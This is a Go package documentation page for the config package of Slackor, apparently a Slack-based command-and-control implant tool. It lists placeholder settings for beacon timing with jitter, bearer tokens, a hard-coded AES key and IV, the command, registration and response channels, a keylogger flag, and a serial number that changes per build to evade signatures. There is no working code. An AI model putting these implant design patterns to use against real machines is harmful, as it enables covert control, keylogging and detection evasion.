config

package
v0.0.0-...-aa32a7f Latest Latest
Warning

This package is not in the latest version of its module.

Go to latest
Published: Oct 10, 2019 License: GPL-3.0 Imports: 0 Imported by: 0

Documentation

Overview

Package config manages all configuration related to Slackor components.

Index

Constants

This section is empty.

Variables

View Source
var Beacon = 5 // TODO: Make jitter configurable

Beacon is the average time in seconds (with 20% jitter) between polling

View Source
var Bearer = "BEARERTOKEN" // TODO: Rename this

Bearer is the bearer token used for the bot user

View Source
var CipherIV = []byte("1337133713371337")

CipherIV is the initialization vector for all messages

View Source
var CipherKey = "AESKEY"

CipherKey is the string value of the symmetric key used to communicate

View Source
var CipherKeyBytes = []byte(CipherKey)

CipherKeyBytes is the CipherKey converted to a byte slice

View Source
var CommandsChannel = "COMMANDS_CHANNEL"

CommandsChannel is the Slack channel to listen for commands on

View Source
var Keylogger = false

Keylogger is an internal flag to track whether the keylogger is active

View Source
var OSVersion = ""

OSVersion is the memoized operating system version string

View Source
var ParseBacktick = false

ParseBacktick controls whether to expand backticks

View Source
var ParseEnv = false

ParseEnv controls whether to expand environment variables

View Source
var RegistrationChannel = "REGISTRATION_CHANNEL"

RegistrationChannel is the Slack channel that implants announce their presence on

View Source
var ResponseChannel = "RESPONSE_CHANNEL"

ResponseChannel is the Slack channel to send responses to

View Source
var SerialNumber = "CHANGEME"

SerialNumber is a string that gets updated on every build to circumvent simple signatures

View Source
var Token = "TOKENTOKEN" // TODO: Rename this

Token is the bearer token used for the app

Functions

This section is empty.

Types

This section is empty.

Jump to

Keyboard shortcuts

? : This menu
/ : Search site
f or F : Jump to
y or Y : Canonical URL